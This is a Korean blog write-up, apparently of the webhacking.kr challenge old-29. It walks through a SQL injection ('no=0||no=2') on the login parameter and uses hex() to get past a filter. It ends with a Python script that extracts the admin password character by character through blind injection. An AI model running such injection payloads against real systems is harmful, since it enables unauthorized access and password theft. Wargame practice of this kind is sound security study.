반응형

처음 접근하면 로그인 창이 뜨는데 로그인 버튼을 누르면 ?no=1&id=guest&pw=guest 형태로 요청이 날아간다.

힌트나 소스코드가 존재하지 않아 일단은 no=2로 로그인을 해야겠다고 생각하였다.


no 부분에 ?no=0||no=2와 같이 입력하니 관리자 로그인 페이지에 접근됨을 확인할 수 있었다.


단순히 no=2로 로그인하는 것이 아니라, 정확히 admin의 pw를 획득해야 하므로 다시 no 파라미터를 이용하여 admin의 pw를 찾았다.

이 때 몇가지 filter가 있는데, ascii와 ord가 사용되지 않아 hex를 이용하였다.


hex를 이용하였을 때 pw의 첫번째 값을 획득하니 6이 나왔는데, 뭔가 잘못됐다는 생각이 들어 다른 방식으로 접근하였다.

바로 아래와 같이 hex 함수를 이용할 때 문자열과 문자열에 해당하는 ascii 코드를 이용하였을 때 결과가 같다는 점을 이용한 것이다.

hex('a')=hex(97)


이를 이용하여 python 코드를 작성하여 admin에 해당하는 pw를 획득하였고 이를 통해 문제를 solve하였다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
url="https://webhacking.kr/challenge/web-29/?id=g&pw=g"
flag=""
 
for i in range(1,11):
    for j in range(95,123):
        param = "&no=0||no=2%26%26hex(substr(pw,"+str(i)+",1))=hex("+str(j)+")"
        response = requests.get(url+param)
        print(response.url)
        if('admin' in response.text):
            print("[+] flag : "+chr(j))
            flag+=chr(j)
            break
        print("[-] not")
 
print("[+]Final Flag : "+flag)
 
cs


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-02 writeup  (0) 2020.04.21
webhacking.kr old-28 writeup  (0) 2020.04.17
webhacking.kr old-50 writeup  (0) 2020.04.14
webhacking.kr old-51 writeup  (0) 2020.04.14
webhacking.kr old-52 writeup  (0) 2020.04.14
블로그 이미지

rootable

,